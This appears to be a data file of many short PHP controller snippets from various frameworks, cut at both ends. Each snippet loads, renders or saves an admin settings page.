$template,\n 'index.php?cmd=Config',\n $_ARRAYLANG['TXT_CORE_CONFIG_CONTACTINFORMATION'],\n $_ARRAYLANG['TXT_CORE_CONFIG_CONTACTINFORMATION'],\n 'TXT_CORE_CONFIG_',\n !$this->isWritable()\n );\n \\Cx\\Core\\Setting\\Controller\\Setting::setEngineType('Config', 'Yaml', 'administrationArea');\n \\Cx\\Core\\Setting\\Controller\\Setting::show(\n $template,\n 'index.php?cmd=Config',\n $_ARRAYLANG['TXT_CORE_CONFIG_ADMINISTRATIONAREA'], \n $_ARRAYLANG['TXT_CORE_CONFIG_ADMINISTRATIONAREA'], \n 'TXT_CORE_CONFIG_',\n !$this->isWritable()\n );\n \\Cx\\Core\\Setting\\Controller\\Setting::setEngineType('Config', 'Yaml', 'security');\n \\Cx\\Core\\Setting\\Controller\\Setting::show(\n $template,\n 'index.php?cmd=Config',\n $_ARRAYLANG['TXT_CORE_CONFIG_SECURITY'],\n $_ARRAYLANG['TXT_CORE_CONFIG_SECURITY'],\n 'TXT_CORE_CONFIG_',\n !$this->isWritable()\n );\n if (in_array('SystemInfo', \\Env::get('cx')->getLicense()->getLegalComponentsList())) {\n \\Cx\\Core\\Setting\\Controller\\Setting::show_external(\n $template,\n $_ARRAYLANG['TXT_SETTINGS_TITLE_DEVELOPMENT'],\n $templateObj->get()\n );\n }\n \\Cx\\Core\\Setting\\Controller\\Setting::setEngineType('Config', 'Yaml', 'otherConfigurations');\n \\Cx\\Core\\Setting\\Controller\\Setting::show(\n $template,\n 'index.php?cmd=Config',\n $_ARRAYLANG['TXT_CORE_CONFIG_OTHERCONFIGURATIONS'],\n $_ARRAYLANG['TXT_CORE_CONFIG_OTHERCONFIGURATIONS'],\n 'TXT_CORE_CONFIG_',\n !$this->isWritable()\n );\n\n\n // show also hidden settins\n if ( in_array('SystemInfo', \\Env::get('cx')->getLicense()->getLegalComponentsList())\n && \\Permission::hasAllAccess()\n && isset($_GET['all'])\n ) {\n \\Cx\\Core\\Setting\\Controller\\Setting::setEngineType('Config', 'Yaml', 'core');\n \\Cx\\Core\\Setting\\Controller\\Setting::show(\n $template,\n 'index.php?cmd=Config',\n 'CORE',\n 'CORE', \n 'TXT_CORE_CONFIG_',\n true\n );\n \\Cx\\Core\\Setting\\Controller\\Setting::setEngineType('Config', 'Yaml', 'release');\n \\Cx\\Core\\Setting\\Controller\\Setting::show(\n $template,\n 'index.php?cmd=Config',\n 'RELEASE',\n 'RELEASE',\n 'TXT_CORE_CONFIG_',\n true\n );\n \\Cx\\Core\\Setting\\Controller\\Setting::setEngineType('Config', 'Yaml', 'component');\n \\Cx\\Core\\Setting\\Controller\\Setting::show(\n $template,\n 'index.php?cmd=Config',\n 'COMPONENT',\n 'COMPONENT',\n 'TXT_CORE_CONFIG_',\n !$this->isWritable()\n );\n \\Cx\\Core\\Setting\\Controller\\Setting::setEngineType('Config', 'Yaml', 'license');\n \\Cx\\Core\\Setting\\Controller\\Setting::show(\n $template,\n 'index.php?cmd=Config',\n 'LICENSE', \n 'LICENSE', \n 'TXT_CORE_CONFIG_',\n true\n );\n \\Cx\\Core\\Setting\\Controller\\Setting::setEngineType('Config', 'Yaml', 'cache');\n \\Cx\\Core\\Setting\\Controller\\Setting::show(\n $template,\n 'index.php?cmd=Config',\n 'CACHE', \n 'CACHE', \n 'TXT_CORE_CONFIG_',\n true\n );\n }\n $this->checkFtpAccess();\n $objTemplate->setVariable('SETTINGS_TABLE', $template->get());\n $objTemplate->parse('settings_system');\n }", "public function setting()\n {\n return view('admin.setting');\n }", "public function create()\n {\n return view('backend.setting.create');\n }", "public function create()\n {\n return view('backend.setting.create');\n }", "public function managesettingsview() {\r\n $this->logger->info(\"Action Manage Settings View \");\r\n $this->template->display('displaylistsettings', $this->combovalue, 'settings', '', '');\r\n }", "public function index() {\n $results = $this->settingsRepository->getValue();\n $settings = $results->isNotEmpty() ? $results->all() : [];\n return view('admin.settings', [\n 'settings' => $settings,\n ]);\n }", "public function getSettingsHtml();", "public function index()\n {\n $this->view->title = 'Settings';\n return $this->view('settings.index');\n }", "public function index()\n {\n $this->authorize('view', Setting::class);\n\n $settings = Setting::all();\n\n $pseudo_settigs = new stdClass();\n\n foreach($settings as $setting) {\n $pseudo_settigs->{$setting->key} = $setting->value;\n }\n\n return view('settings.index', ['settings' => $pseudo_settigs]);\n }", "public function index()\n {\n $app_data = AppSettings::first();\n return view('Backend.Settings.settings', ['app_data' => $app_data]);\n }", "public function settings_page() {\n\t\t// Current tab.\n\t\t$tab = Template::current_tab();\n\n\t\t// Render settings header.\n\t\t$this->view( 'settings/common/header' );\n\n\t\t// Render settings page.\n\t\t$this->view( 'settings/settings', [\n\t\t\t'title' => Template::tabs()[ $tab ],\n\t\t\t'tab' => $tab,\n\t\t\t'form_url' => Template::settings_page(\n\t\t\t\t$tab,\n\t\t\t\t$this->is_network()\n\t\t\t),\n\t\t] );\n\n\t\t// Render settings footer.\n\t\t$this->view( 'settings/common/footer' );\n\t}", "public function settings(){\n $adminDetails = Admin::where('email',Auth::guard('admin')->user()->email)->first();\n return view('admin.admin_settings')->with(compact('adminDetails'));\n }", "public function settings(){\n\t\t$this->verify();\n\t\t$data['title']=\"Settings\";\n\t\t$this->load->view('parts/head', $data);\n\t\t$this->load->view('settings', $data);\n\t\t$this->load->view('parts/javascript', $data);\n\t}", "public function index()\n {\n $site = $this->cart->getSite();\n \n return $this->view('site.settings.content', compact('site')); \n }", "public function settings()\n {\n\n $this->data['page'] = 'settings';\n $this->data['user'] = $this->user;\n\n // get privacy settings\n\n $my_privacy = explode(',',$this->user['privacy_settings']);\n\n $this->data['settings'] = $my_privacy;\n\n $this->load->view('/dash/header',$this->data);\n $this->load->view('/dash/settings',$this->data);\n $this->load->view('/dash/footer',$this->data);\n\n }", "public function index()\n {\n return view('admin.setting.settings')->with('settings',Setting::first());\n }", "public function getSettingsHtml()\n {\n return craft()->templates->render('controlleractionfield/fieldtypes/controlleraction/settings', array(\n 'settings' => $this->getSettings(),\n 'placeholders' => $this->getPlaceholderStrings(),\n ));\n }", "public function index()\n {\n return view('predictionio::admin.settings');\n }", "public function index()\n {\n return view('settings.setting');\n }", "public function index()\n\t{\n\t\t$settings = Settings::first();\n\t\treturn view('admin.settings' , compact('settings')) ;\n\t}", "public function getChangeSettings(){\n $user = Auth::user();\n return View::make('user.settings', array('user'=>$user));\n }", "public function showSettingsPage()\n {\n\n $configFilePath = dirname(__DIR__) . '/../../../build/configs/pirrot_default.conf';\n if (file_exists('/etc/pirrot.conf')) {\n $configFilePath = '/etc/pirrot.conf';\n }\n\n // Get setting values from the configuration file.\n $config = new ConfManagerService($configFilePath);\n $configValues = $config->read();\n\n // Regex out the setting values and comments to provide a list of settings that we can render out.\n foreach ($this->fieldGroups as $field => $group) {\n\n if (!key_exists($field, $this->labelOverrides)) {\n $label = ucwords(str_replace('_', ' ', $field));\n } else {\n $label = $this->labelOverrides[$field];\n }\n\n // Get the value from the settings file...\n $value = $configValues[$field];\n\n $inputType = Setting::TYPE_TEXT;\n if (in_array($field, $this->booleanFields)) {\n $inputType = Setting::TYPE_BOOL;\n }\n\n $inputComments = null;\n if (key_exists($field, $this->fieldComments)) {\n $inputComments = $this->fieldComments[$field];\n }\n\n $panelInputs[$group][] = new Setting($field, $label, $group, $value, $inputType, $inputComments);\n }\n\n\n return view('_pages.settings')->with('panels', $panelInputs);\n }", "public function settings() {\n $user = Auth::user();\n return view('site.settings', compact('user'));\n }", "public function create()\n {\n $form_type = 'create';\n $dictionary = new Dictionary();\n return view('vendor.dictionary.settings', ['form_type' => $form_type, 'dictionary' => $dictionary]);\n }", "public function settingsAction()\n {\n $meta = $this->getServiceLocator()->get(Meta::class);\n /* @var $meta Meta */\n\n /*$cc = $meta->getObjectValue($this->identity(), 'user.exampleSetting');\n\n $form = $this->getServiceLocator()->get('FormElementManager')\n ->get('Sambeso\\Form\\User\\Settings');\n $form->setData(['exampleSetting' => $cc]);\n\n $viewModel = $this->createViewModel([\n 'form' => $form,\n ]);\n\n if (!$this->request->isPost()) {\n return $viewModel;\n }\n\n $isValid = $form->setData($this->request->getPost())->isValid();\n if (!$isValid) {\n return $viewModel;\n }\n\n $data = $form->getData();\n $meta->setObjectValue($this->identity(), 'user.exampleSetting',\n $data['costCenter']);\n $meta->getEntityManager()->flush();\n\n $this->flashMessenger()\n ->addSuccessMessage('message.account.settings.edited');\n */\n\n return $this->redirect()->toRoute('account');\n }", "public function create_plugin_settings_page()\n {\n require_once 'views/settings.phtml';\n }", "public function settings()\n {\n $result = $this->dtbs->list('site_settings');\n $data['info'] = $result;\n $this->load->view('back/settings/anasehife',$data);\n }", "public function render()\n {\n return view('adminhub::livewire.components.settings.attributes.show')\n ->layout('adminhub::layouts.base');\n }", "public function displaysettingsview() {\r\n\r\n $this->logger->info(\"Action Display Settings View \");\r\n $id = $_POST[\"combotype\"];\r\n $this->detailsvalue = $this->settingsModel->displaysettings($id);\r\n $this->fields['combotype'] = $id;\r\n $this->template->display_data('displaylistsettings', $this->combovalue, 'settings', $this->fields['combotype'], $this->detailsvalue);\r\n }", "public function create()\n {\n return Inertia::render('Settings/Create');\n }", "public function index()\n\t{\n\t\t// Create settings inputs and set current value to database stored value or default by calling get() method from settings library.\n\t\t$vars['sections'] = array(\n\t\t\tarray(\n\t\t\t\tarray(\n\t\t\t\t\t'title'\t\t=>\t'title_suffix',\n\t\t\t\t\t'desc'\t\t=>\t'title_suffix',\n\t\t\t\t\t'fields'\t=>\tarray(\n\t\t\t\t\t\t'title_suffix'\t=>\tarray(\n\t\t\t\t\t\t\t'type'\t=>\t'text',\n\t\t\t\t\t\t\t'value'\t=>\tee()->simple_cloner_settings->get('title_suffix')\n\t\t\t\t\t\t)\n\t\t\t\t\t)\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'title'\t\t=>\t'url_title_suffix',\n\t\t\t\t\t'desc'\t\t=>\t'url_title_suffix',\n\t\t\t\t\t'fields'\t=>\tarray(\n\t\t\t\t\t\t'url_title_suffix'\t=>\tarray(\n\t\t\t\t\t\t\t'type'\t=>\t'text',\n\t\t\t\t\t\t\t'value'\t=>\tee()->simple_cloner_settings->get('url_title_suffix')\n\t\t\t\t\t\t)\n\t\t\t\t\t)\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'title'\t\t=>\t'update_entry_time',\n\t\t\t\t\t'desc'\t\t=>\t'update_entry_time',\n\t\t\t\t\t'fields'\t=>\tarray(\n\t\t\t\t\t\t'update_entry_time'\t=>\tarray(\n\t\t\t\t\t\t\t'type'\t=>\t'yes_no',\n\t\t\t\t\t\t\t'value'\t=>\tee()->simple_cloner_settings->get('update_entry_time')\n\t\t\t\t\t\t)\n\t\t\t\t\t)\n\t\t\t\t)\n\t\t\t)\n\t\t);\n\n\t\t// Set values for components on settings page and return rendered view.\n\t\t$vars += array(\n\t\t\t'base_url'\t=>\tee('CP/URL', 'addons/settings/simple_cloner/save_settings'),\n\t\t\t'cp_page_title'\t=>\tlang('general_settings'),\n\t\t\t'save_btn_text'\t=>\t'btn_save_settings',\n\t\t\t'save_btn_text_working'\t=>\t'btn_saving'\n\t\t);\n\n\t\treturn ee('View')->make('simple_cloner:index')->render($vars);\n\t}", "public function index()\n {\n return view('pages.settings.settings.index');\n }", "public function create()\n {\n return view('admin.serviceSetting.create');\n }", "public function getContent()\n {\n Tools::redirectAdmin($this->context->link->getAdminLink('AdminPayseraConfiguration'));\n }", "public function index()\n {\n return view('backend.settings.index')->withEntities(Setting::all());\n }", "public function actionSettingsIndexTemplate()\n\t{\n\t\t$settingsModel = new SproutForms_SettingsModel;\n\n\t\t$settings = craft()->db->createCommand()\n\t\t\t->select('settings')\n\t\t\t->from('plugins')\n\t\t\t->where('class=:class', array(':class'=> 'SproutForms'))\n\t\t\t->queryScalar();\n\n\t\t$settings = JsonHelper::decode($settings);\n\t\t$settingsModel->setAttributes($settings);\n\n\t\t$variables['settings'] = $settingsModel;\n\n\t\t// Load our template\n\t\t$this->renderTemplate('sproutforms/settings', $variables);\n\n\t}", "public function index()\n\t{\t\n\t\t$settings = Settings::all();\n\t\t$langs = Language::get();\n\t\t$this->layout = View::make('blogfolio::settings.index-settings', compact('settings', 'templates', 'langs'));\n $this->layout->title = trans('blogfolio::settings.settings');\n $this->layout->breadcrumb = Config::get('syntara::breadcrumbs.settings');\n\t}", "public function index()\n\t{\n $siteSettings = SiteSetting::all();\n return View::make('settings.siteSettings')\n ->with('title','Site Settings')\n ->with('siteSettings',$siteSettings);\n\t}", "public function create()\n {\n $findData = Setting::first();\n return view('backend.setting.add_setting',[\n 'findData' => $findData, \n ]);\n }", "public function viewSettings(array $settings = array());", "private function _pageSettings(){\r\n $result = new stdClass();\r\n $response = 400;\r\n\r\n if($this->hasLogin()){\r\n\r\n /*\r\n \t*\r\n \t*\r\n \t*\tCheck the method used is POST\r\n \t*\r\n \t*\r\n \t*/\r\n \tif($_SERVER['REQUEST_METHOD'] == 'POST'){\r\n\r\n\r\n $uri = $this->_getContentURI();\r\n\r\n /*\r\n foreach ($_POST as $name => $value) {\r\n $config = HTMLPurifier_Config::createDefault();\r\n $purifier = new HTMLPurifier($config);\r\n $clean_html = $purifier->purify($value);\r\n }\r\n */\r\n\r\n\r\n $settings = new stdClass();\r\n $settings->page_title = isset($_POST['mrzpn-menu-page-title'])?$_POST['mrzpn-menu-page-title']:'';\r\n $settings->page_script = isset($_POST['mrzpn-menu-page-script'])?$_POST['mrzpn-menu-page-script']:'';\r\n\r\n if(file_put_contents(ROOT.DS.'site'.DS.'content'.DS.$uri.DS.'settings.json', json_encode($settings))){\r\n $response = 200;\r\n }\r\n\r\n }\r\n\r\n }\r\n\r\n\r\n // Return the response\r\n http_response_code($response);\r\n echo json_encode($result);\r\n exit;\r\n\r\n\r\n }", "public function get_settings()\n {\n $data['menu_active'] = 'settings';\n $data['title'] = \"General Settings\";\n $data['settings'] = Settings::get();\n return view('admin.settings.index', $data);\n }", "public function general_settings_page() {\n include __DIR__ . \"/views/general_settings.php\";\n }", "public function create()\n {\n //\n return view ('admin.setting.addsetting');\n }", "public function index()\n\t{\n\t\t$settings = Setting::first();\n\t\treturn view('admin.settings.index')\n\t\t\t->with('settings', $settings);\n\t}", "public function index()\n {\n abort_unless(Gate::allows('setting_access') || Auth::user()->is_superadmin, 403);\n\n $settings = Setting::all();\n\n return view('admin.settings.index', compact('settings'));\n }", "function showGeneralPageEditorSettingsObject()\n\t{\n\t\tglobal $tpl, $ilTabs;\n\n\t\t$this->addPageEditorSettingsSubTabs();\n\t\t$ilTabs->activateTab(\"adve_page_editor_settings\");\n\t\t\n\t\t$form = $this->initGeneralPageSettingsForm();\n\t\t$tpl->setContent($form->getHTML());\n\t}", "public function settingsPage()\n {\n include 'views/admin.php';\n }", "public function settingsPage()\n\t{\n\t\t$this->setForms();\n\t\tinclude( \\GFormProtected\\Helpers::view('settings/settings') );\n\t}", "public function execute()\n {\n // load layout\n $this->_view->loadLayout();\n\n // retrieve parameters\n if (($params = $this->getRequest()->getParam('object')) &&\n ($params = $this->_objectManager->get('Magento\\Framework\\Json\\Helper\\Data')->jsonDecode($params))\n ) {\n // set parameters on settings block\n $settingsBlock = $this->_view->getLayout()->getBlock('page_designer.settings');\n $settingsBlock->setSettings($params);\n }\n\n // render view\n $this->_view->renderLayout();\n }", "public function showSettings()\n {\n $countries = Country::where('del_status', 'Live')->orderBy('updated_at', 'desc')->get();\n $states = State::where('del_status', 'Live')->orderBy('updated_at', 'desc')->get();\n $cities = City::where('del_status', 'Live')->orderBy('updated_at', 'desc')->get();\n $cuisines = Cuisine::where('del_status', 'Live')->orderBy('updated_at', 'desc')->get();\n\n $socialMediaList = SocialMedia::where('del_status', 'Live')->orderBy('name', 'asc')->get();\n $thirdPartyVendors = ThirdPartyVendor::where('del_status', 'Live')->orderBy('name', 'asc')->get();\n\n $restaurantUser = RestaurantUser::where('restaurant_id', Auth::guard('restaurantUser')->user()->restaurant_id)->where('del_status', 'Live')->first();\n $restaurantId = $restaurantUser->restaurant_id;\n $restaurant = Restaurant::with('country', 'city', 'state', 'socialLinks')->where('id', $restaurantId)->first();\n// return $restaurant;\n\n $logo = RestaurantSettingsLogo::where('restaurant_id', Auth::guard('restaurantUser')->user()->restaurant_id)->first();\n // $socialLinks = RestaurantSettingsSocialLink::where('restaurant_id', Auth::guard('restaurantUser')->user()->restaurant_id)->first();\n $tax = RestaurantSettingsTax::where('restaurant_id', Auth::guard('restaurantUser')->user()->restaurant_id)->first();\n if ($tax) {\n $taxFields = RestaurantSettingsTaxField::where('tax_id', $tax->id)->get();\n// return $taxFields;\n } else {\n $taxFields = [];\n }\n\n return view('pages.restaurant.settings', compact('restaurant', 'cuisines', 'countries', 'states', 'cities', 'logo', 'socialMediaList', 'thirdPartyVendors', 'tax', 'taxFields'));\n }", "public function create()\n {\n return view('admin::settings.attributes.create');\n }", "public function index()\n {\n $setting_info = Setting::all()[0];\n return view('settings.setting', ['setting_info'=>$setting_info]);\n }", "public function index()\n {\n $pageTitle = 'Settings';\n $stkItemColumns = SAGEUDF::where('cTableName', 'LIKE', 'STKITEM')\n// ->where('iFieldType', 5)\n ->get([\n 'idUserDict', 'cFieldName', 'cFieldDescription'\n ]);\n\n $warehouseTransferBatches = DB::table('_etblWhseTransferBatches')\n ->select([\n 'idWhseTransferBatch', 'cBatchNo', 'cBatchDescription'\n ])\n ->get();\n\n $journalBatches = DB::table('_etblInvJrBatches')\n ->select([\n 'IDInvJrBatches', 'cInvJrNumber', 'cInvJrDescription'\n ])\n ->get();\n\n $warehouses = DB::table('WhseMst')\n ->where('WhseLink', '<>', 1)\n ->select([\n 'WhseLink', 'Code', 'Name'\n ])\n ->get();\n\n $itemGroups = DB::table('GrpTbl')->select(['idGrpTbl', 'StGroup'])->get();\n\n return view('admin.settings_common')\n ->with('journalBatches', $journalBatches)\n ->with('warehouseBatches', $warehouseTransferBatches)\n ->with('warehouses', $warehouses)\n ->with('stkItemGroups', $itemGroups)\n ->with('stkItemColumns', $stkItemColumns)\n ->with('pageTitle', $pageTitle);\n }", "public function makeView() {\n\t\treturn \n\t\t\t$this->getView()\n\t\t\t\t->with('option', $this);\n\t}", "public function adsettingsAction() {\n\n //GET NAVIGATION\n $this->view->navigation = $navigation = Engine_Api::_()->getApi('menus', 'core')\n ->getNavigation('sitestore_admin_main', array(), 'sitestore_admin_main_adsettings');\n\n //FORM\n $this->view->form = $form = new Sitestore_Form_Admin_Adsettings();\n\n //CHECK THAT COMMUNITY AD PLUGIN IS ENABLED OR NOT\n $communityadEnabled = Engine_Api::_()->getDbtable('modules', 'core')->isModuleEnabled('communityad');\n if ($communityadEnabled) {\n $this->view->ismoduleenabled = $ismoduleenabled = 1;\n } else {\n $this->view->ismoduleenabled = $ismoduleenabled = 0;\n }\n\n //CHECK THAT SITESTORE DOCUMENT PLUGIN IS ENABLED OR NOT\n if (Engine_Api::_()->getDbtable('modules', 'core')->isModuleEnabled('sitestoredocument') && $ismoduleenabled) {\n $this->view->isdocumentenabled = 1;\n } else {\n $this->view->isdocumentenabled = 0;\n }\n\n //CHECK THAT SITESTORE NOTE PLUGIN IS ENABLED OR NOT\n if (Engine_Api::_()->getDbtable('modules', 'core')->isModuleEnabled('sitestorenote') && $ismoduleenabled) {\n $this->view->isnoteenabled = 1;\n } else {\n $this->view->isnoteenabled = 0;\n }\n\n //CHECK THAT SITESTORE ALBUM PLUGIN IS ENABLED OR NOT\n if (Engine_Api::_()->getDbtable('modules', 'core')->isModuleEnabled('sitestorealbum') && $ismoduleenabled) {\n $this->view->isalbumenabled = 1;\n } else {\n $this->view->isalbumenabled = 0;\n }\n\n //CHECK THAT SITESTORE VIDEO PLUGIN IS ENABLED OR NOT\n if (Engine_Api::_()->getDbtable('modules', 'core')->isModuleEnabled('sitestorevideo') && $ismoduleenabled) {\n $this->view->isvideoenabled = 1;\n } else {\n $this->view->isvideoenabled = 0;\n }\n\n //CHECK THAT SITESTORE EVENT PLUGIN IS ENABLED OR NOT\n if (Engine_Api::_()->getDbtable('modules', 'core')->isModuleEnabled('sitestoreevent') && $ismoduleenabled) {\n $this->view->iseventenabled = 1;\n } else {\n $this->view->iseventenabled = 0;\n }\n\n //CHECK THAT SITESTORE DISCUSSION PLUGIN IS ENABLED OR NOT\n if (Engine_Api::_()->getDbtable('modules', 'core')->isModuleEnabled('sitestorediscussion') && $ismoduleenabled) {\n $this->view->isdiscussionenabled = 1;\n } else {\n $this->view->isdiscussionenabled = 0;\n }\n\n //CHECK THAT SITESTORE POLL PLUGIN IS ENABLED OR NOT\n if (Engine_Api::_()->getDbtable('modules', 'core')->isModuleEnabled('sitestorepoll') && $ismoduleenabled) {\n $this->view->ispollenabled = 1;\n } else {\n $this->view->ispollenabled = 0;\n }\n\n //CHECK THAT SITESTORE REVIEW PLUGIN IS ENABLED OR NOT\n if (Engine_Api::_()->getDbtable('modules', 'core')->isModuleEnabled('sitestorereview') && $ismoduleenabled) {\n $this->view->isreviewenabled = 1;\n } else {\n $this->view->isreviewenabled = 0;\n }\n\n //CHECK THAT SITESTORE OFFER PLUGIN IS ENABLED OR NOT\n if (Engine_Api::_()->getDbtable('modules', 'core')->isModuleEnabled('sitestoreoffer') && $ismoduleenabled) {\n $this->view->isofferenabled = 1;\n } else {\n $this->view->isofferenabled = 0;\n }\n\n //CHECK THAT SITESTORE FORM PLUGIN IS ENABLED OR NOT\n if (Engine_Api::_()->getDbtable('modules', 'core')->isModuleEnabled('sitestoreform') && $ismoduleenabled) {\n $this->view->isformenabled = 1;\n } else {\n $this->view->isformenabled = 0;\n }\n\n //CHECK THAT SITESTORE INVITE PLUGIN IS ENABLED OR NOT\n if (Engine_Api::_()->getDbtable('modules', 'core')->isModuleEnabled('sitestoreinvite') && $ismoduleenabled) {\n $this->view->isinviteenabled = 1;\n } else {\n $this->view->isinviteenabled = 0;\n }\n\n //CHECK THAT SITESTORE BADGE PLUGIN IS ENABLED OR NOT\n if (Engine_Api::_()->getDbtable('modules', 'core')->isModuleEnabled('sitestorebadge') && $ismoduleenabled) {\n $this->view->isbadgeenabled = 1;\n } else {\n $this->view->isbadgeenabled = 0;\n }\n\n //CHECK THAT SITESTORE NOTE PLUGIN IS ENABLED OR NOT\n if (Engine_Api::_()->getDbtable('modules', 'core')->isModuleEnabled('sitestoremusic') && $ismoduleenabled) {\n $this->view->ismusicenabled = 1;\n } else {\n $this->view->ismusicenabled = 0;\n }\n\n //START FOR INRAGRATION WORK WITH OTHER PLUGIN.\n if (Engine_Api::_()->getDbtable('modules', 'core')->isModuleEnabled('sitestoreintegration') &&\n $ismoduleenabled) {\n $this->view->mixSettingsResults = Engine_Api::_()->getDbtable('mixsettings', 'sitestoreintegration')->getIntegrationItems();\n $this->view->issitestoreintegrationenabled = 1;\n } else {\n $this->view->issitestoreintegrationenabled = 0;\n }\n //END FOR INRAGRATION WORK WITH OTHER PLUGIN.\n\n //CHECK THAT SITESTORE TWITTER PLUGIN IS ENABLED OR NOT\n if (Engine_Api::_()->getDbtable('modules', 'core')->isModuleEnabled('sitestoretwitter') && $ismoduleenabled) {\n $this->view->istwitterenabled = 1;\n } else {\n $this->view->istwitterenabled = 0;\n }\n\n //CHECK THAT SITESTORE TWITTER PLUGIN IS ENABLED OR NOT\n if (Engine_Api::_()->getDbtable('modules', 'core')->isModuleEnabled('sitestoremember') && $ismoduleenabled) {\n $this->view->ismemberenabled = 1;\n } else {\n $this->view->ismemberenabled = 0;\n }\n\n //CHECK FORM VALIDATION\n if ($this->getRequest()->isPost() && $form->isValid($this->getRequest()->getPost())) {\n //GET FORM VALUES\n $values = $form->getValues();\n include APPLICATION_PATH . '/application/modules/Sitestore/controllers/license/license2.php';\n }\n }", "public function index()\n {\n $settings = [];\n foreach (SystemSetting::get() as $setting) {\n $settings[$setting->name] = $setting->value;\n }\n\n return View('admin.system_settings', ['section' => 'settings', 'settings' => $settings]);\n }", "public function index()\n {\n return view('settings.index');\n }", "public function getIndex()\n {\n $settings = json_decode(Storage::get('settings.json'));\n return view('admin.settings.index', compact('settings'));\n }", "protected function _content_template() {\n\t\t?>\n\t\t<#\n\t\tview.addInlineEditingAttributes( 'title', 'none' );\n\t\tview.addInlineEditingAttributes( 'description', 'basic' );\n\t\tview.addInlineEditingAttributes( 'content', 'advanced' );\n\t\t#>\n\t\t<h2 {{{ view.getRenderAttributeString( 'title' ) }}}>{{{ settings.title }}}</h2>\n\t\t<div {{{ view.getRenderAttributeString( 'description' ) }}}>{{{ settings.description }}}</div>\n\t\t<div {{{ view.getRenderAttributeString( 'content' ) }}}>{{{ settings.content }}}</div>\n\t\t<?php\n\t}", "public function actionIndex() {\n\t\t// Template configuration\n\t\t$this->layout = 'modules/setting/index.tpl';\n\t\t$data = ModelBase::factory('Template')->getSettingData();\n\n\t\t// Render\n\t\treturn $this->render($data);\n\t}", "public function index()\n {\n $this->storeCacheSetting();\n $settings = $this->setting->getAllList();\n\n return view('backend.setting.index', compact('settings'));\n }", "protected function _content_template()\n {\n ?>\n <#\n view.addInlineEditingAttributes( 'blog_content_top', 'none' );\n view.addInlineEditingAttributes( 'blog_content_middle', 'none' );\n view.addInlineEditingAttributes( 'blog_content_bottom', 'none' );\n console.log(settings);\n #>\n <div class=\"tabs tabs-article\" data-tabs=\"secondary\">\n <div data-tab=\"blog\" class=\"blog active\">\n <div class=\"hero\">\n </div>\n\n <div class=\"columnar\">\n <div class=\"columns-twelve\">\n <a href=\"#\" class=\"article-category\">Cryptocurrency</a>\n <h1>{{{ settings.page_title }}}</h1>\n <div class=\"subtitle-article\">{{{ settings.page_subtitle }}}</div>\n </div>\n </div>\n\n <div class=\"columnar article-share\">\n\n <div class=\"share-social-info columns-four-one\">\n <div class=\"photo\"><img src=\"/wp-content/plugins/elementor-custom-widgets/assets/icons/drawkit-folder-man-colour.svg\"></div>\n <div class=\"text-wrap\">\n <div class=\"text\">Permission</div>\n <a href=\"#\">@permissionIO</a>\n </div>\n </div>\n <div class=\"share-social-icons columns-four-nine\">\n <div class=\"share-text\">share</div>\n <a href=\"#\" class=\"share-icons\"><img src=\"/wp-content/plugins/elementor-custom-widgets/assets/icons/tw-icon.svg\"></a>\n <a href=\"#\" class=\"share-icons\"><img src=\"/wp-content/plugins/elementor-custom-widgets/assets/icons/fa-icon.svg\"></a>\n <a href=\"#\" class=\"share-icons\"><img src=\"/wp-content/plugins/elementor-custom-widgets/assets/icons/LinkedInLogo.svg\"></a>\n <a href=\"#\" class=\"share-icons\"><img src=\"/wp-content/plugins/elementor-custom-widgets/assets/icons/reddit.svg\"></a>\n <a href=\"#\" class=\"share-icons\"><img src=\"/wp-content/plugins/elementor-custom-widgets/assets/icons/telegram.svg\"></a>\n </div>\n\n </div>\n\n <div class=\"columnar article-img\">\n <div class=\"columns-twelve\">\n <img src=\"/wp-content/plugins/elementor-custom-widgets/assets/img-e.png\">\n <p>Source</p>\n </div>\n </div>\n\n <div class=\"columnar article-date\">\n <div class=\"columns-eight\">\n <p>PUBLISHED </p>\n </div>\n </div>\n <div class=\"columnar article-content\">\n <div class=\"columns-eight\">\n <p>{{{ settings.blog_content_top }}}</p>\n <div class=\"wp-block-considerable-quote left\">\n <div class=\"quote\">{{{ settings.the_quote }}}</div>\n </div>\n\n {{{ settings.blog_content_middle }}}\n\n {{{ settings.blog_content_bottom }}}\n <div class=\"tags\">TAGS: List of tags</div>\n <div class=\"share-social-icons\">\n <div class=\"share-text\">share</div>\n <a href=\"#\" class=\"share-icons\"><img src=\"/wp-content/plugins/elementor-custom-widgets/assets/icons/tw-icon.svg\"></a>\n <a href=\"#\" class=\"share-icons\"><img src=\"/wp-content/plugins/elementor-custom-widgets/assets/icons/fa-icon.svg\"></a>\n <a href=\"#\" class=\"share-icons\"><img src=\"/wp-content/plugins/elementor-custom-widgets/assets/icons/LinkedInLogo.svg\"></a>\n <a href=\"#\" class=\"share-icons\"><img src=\"/wp-content/plugins/elementor-custom-widgets/assets/icons/reddit.svg\"></a>\n <a href=\"#\" class=\"share-icons\"><img src=\"/wp-content/plugins/elementor-custom-widgets/assets/icons/telegram.svg\"></a>\n </div>\n </div>\n </div>\n\n <div class=\"columnar article-nav\">\n <div class=\"columns-four-two\">\n <div class=\"text\">Previous Post</div>\n <a href=\"\">Previous post title</a>\n </div>\n <div class=\"columns-four-eight\">\n <div class=\"text\">Next Post</div>\n <a href=\"\">Next post title</a>\n </div>\n </div>\n </div>\n </div>\n <?php\n }", "public function index()\n {\n // return view('admin.settings.index');\n // dump(Setting::getSpecificSocialNetwork('facebook'));\n $data = [\n 'setting_social' => Setting::getSocialNetworks(),\n 'setting_mail' => Setting::getMail(),\n ];\n return view('admin.settings.index', $data);\n }", "public function index()\n {\n $data['settingsMenu'] = 1;\n $data['settings'] = Setting::all();\n\n return view('settings.index', $data);\n }", "public function api_setting() {\n return view('admin.restapi');\n }", "public function getContent()\r\n\t{\r\n\t\t/* Loading CSS and JS files */\r\n\t\t$this->context->controller->addCSS(array($this->_path.'views/css/paypal-usa.css', $this->_path.'views/css/colorpicker.css'));\r\n\t\t$this->context->controller->addJS(array(_PS_JS_DIR_.'jquery/jquery-ui-1.8.10.custom.min.js', $this->_path.'views/js/colorpicker.js', $this->_path.'views/js/jquery.lightbox_me.js', $this->_path.'views/js/paypalusa.js'));\r\n\r\n\t\t/* Update the Configuration option values depending on which form has been submitted */\r\n\t\tif ((Validate::isLoadedObject($this->_shop_country) && $this->_shop_country->iso_code == 'MX') && 